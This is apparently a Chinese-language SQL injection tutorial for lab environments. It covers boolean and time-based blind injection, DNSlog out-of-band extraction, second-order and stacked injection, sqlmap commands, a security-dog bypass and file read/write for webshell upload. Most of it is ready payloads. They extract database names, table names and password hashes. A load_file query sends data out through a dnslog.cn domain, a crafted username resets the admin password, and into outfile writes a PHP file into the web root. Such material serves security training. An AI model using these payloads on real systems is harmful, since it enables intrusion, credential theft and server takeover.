声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
一、布尔盲注
布尔盲注是利用SQL语句返回的True/False结果,逐位猜解数据库信息的注入方式,适用于无回显但有页面差异的场景。
1. 猜解数据库长度
原理:用length()函数判断数据库名长度,通过and条件的真假控制页面状态。
-- 缩小范围:判断长度<5
?id=1 and length(database()) < 5
-- 缩小范围:判断长度>2
?id=1 and length(database()) > 2
-- 确认最终长度
?id=1 and length(database()) = 4
结论:当前数据库名长度为 4
2. 猜解数据库名
原理:用substr()截取单个字符,ascii()转换为 ASCII 码,通过布尔条件猜解字符值。
-- 第一位字符:缩小范围(ASCII<123)
?id=1 and ascii(substr(database(),1,1)) < 123
-- 第一位字符:缩小范围(ASCII>64)
?id=1 and ascii(substr(database(),1,1)) > 64
-- 确认第一位字符ASCII=106(对应字符'j')
?id=1 and ascii(substr(database(),1,1)) = 106
-- 同理猜解第2-4位字符,最终得到数据库名
?id=1 and ascii(substr(database(),2,1)) = 114 -- 'r'
?id=1 and ascii(substr(database(),3,1)) = 108 -- 'l'
?id=1 and ascii(substr(database(),4,1)) = 116 -- 't'
结论:当前数据库名为 jrlt
3. 猜解表的总数
原理:通过information_schema.tables查询当前库的表数量,用布尔条件判断。
-- 核心语句
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database()) < 5
-- 进一步确认表数量
?id=1 and (select count(table_name) from information_schema.tables where table_schema = database()) = 2
结论:当前数据库中共有 2 张表
4. 猜解表名长度
原理:用limit 0,1取第一张表,通过length()判断表名长度。
-- 猜解第一张表的长度
?id=1 and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) < 10
-- 确认第一张表名长度
?id=1 and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 7
结论:第一张表名长度为 7
5. 猜解表名
原理:截取表名的单个字符,用 ASCII 码布尔条件猜解。
-- 猜解第一张表名的第1位字符(ASCII<100)
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) < 100
-- 完整猜解语句(以第一张表为例)
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 109 -- 'm'
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1)) = 101 -- 'e'
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1)) = 115 -- 's'
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1)) = 115 -- 's'
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1)) = 97 -- 'a'
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1)) = 103 -- 'g'
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),7,1)) = 101 -- 'e'
-- 猜解第二张表(limit 1,1取第二张表)
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1)) = 117 -- 'u'
结论:两张表名分别为 messages 、users
6.猜解表中字段数量
-- 猜解users表的字段数
?id=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') = 3
7.猜解字段长度
-- 猜解users表第一个字段的长度
?id=1 and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)) = 2
8.猜解字段名
-- 猜解users表第一个字段的第一位字符
?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)) = 105 -- 'i'
9.猜解字段内容(长度 + 具体值)
-- 猜解users表中password字段的内容长度
?id=1 and length((select password from users limit 0,1)) = 32 -- MD5值长度为32
-- 猜解password字段的第一位字符
?id=1 and ascii(substr((select password from users limit 0,1),1,1)) = 50 -- '2'
二、延迟盲注
利用sleep()函数根据页面响应时间判断SQL语句真假,适用于无回显、无页面差异的场景。
?id=1 and sleep(5) -- 直接延时,确认注入点
?id=1 and if(length(database()) < 10, sleep(5), 1) -- 条件延时,实现布尔盲注逻辑
三、DNSlog盲注
DNSlog 盲注属于带外数据外带(OOB) ,用于完全无回显、页面无差异的盲注场景。
核心思路:
-
利用 MySQL 的 load_file() 函数
-
构造 UNC 路径(Windows 网络路径) :
\\子域名.你的域名\任意 -
把要查的数据(库名 / 表名 / 字段)拼到子域名里
-
数据库发起 DNS 解析请求,访问你控制的域名
-
去 DNSlog 平台看日志,直接拿到数据
?id=1 and load_file(concat('//',(select database()),'.kudtfu.dnslog.cn/123'))
--kudtfu.dnslog.cn是在dnslog平台拿到的域名
注:需目标环境支持load_file()、secure_file_priv配置允许访问网络路径。
四、二次注入
利用数据库"存储脏数据"的特性,在后续SQL操作中触发注入,常见于注册、修改密码等场景。
-
验证用户:确认
admin用户已存在 -
注册新用户:用户名设为
admin'#(单引号+注释符,闭合后续SQL) -
修改密码:
update users set password = md5('123456') where name = 'admin'#'
→ 实际执行:update users set password = md5('123456') where name = 'admin',实现修改admin密码。
五、堆叠注入
利用;分隔多条SQL语句,一次执行多个操作,适用于支持多语句执行的环境。
?id=2 ; insert into users (name,password) values ('ddd', md5('ddd'));
六、SQLMap工具使用
自动化SQL注入工具,支持多种注入场景,核心命令如下:
# 基础注入
sqlmap -u 'http://192.168.75.1/bbs/showmessage.php?id=1'
# 获取当前数据库
sqlmap -u [URL] --current-db
# 获取指定数据库的表名
sqlmap -u [URL] -D jrlt --tables
# 获取指定表的字段名
sqlmap -u [URL] -D jrlt -T users --columns
# 导出指定字段数据
sqlmap -u [URL] -D jrlt -T users -C password --dump
七、SQL注入绕过(安全狗防护场景)
目标:http://localhost/bbs/showmessage.php POST Data:
id=-1 union select 1,2,3,4
通过POST方式提交注入语句,绕过URL参数的防护规则。
八、补充拓展(文件读写/ getshell)
利用load_file()读取文件,into outfile写入 Webshell,适用于 MySQL 有文件权限且secure_file_priv未限制的场景。
1.读取MySQL配置路径
?id=-1 union select 1,2,3,@@datadir
-- 读取数据存储路径,如D:\phpStudy\PHP Tutorial\MySQL\data\
2.读取服务器文件
?id=-1 union select 1,2,3,load_file('D:\\phpStudy\\PHP Tutorial\\Apache\\conf\\vhosts.conf')
-- 读取Apache配置文件
3.写入文件
?id=-1 union select 1,2,3,'<?php phpinfo();?>' into outfile 'D:\\phpStudy\\PHP Tutorial\\www\\bbs\\test.php'
-- 写入phpinfo()测试文件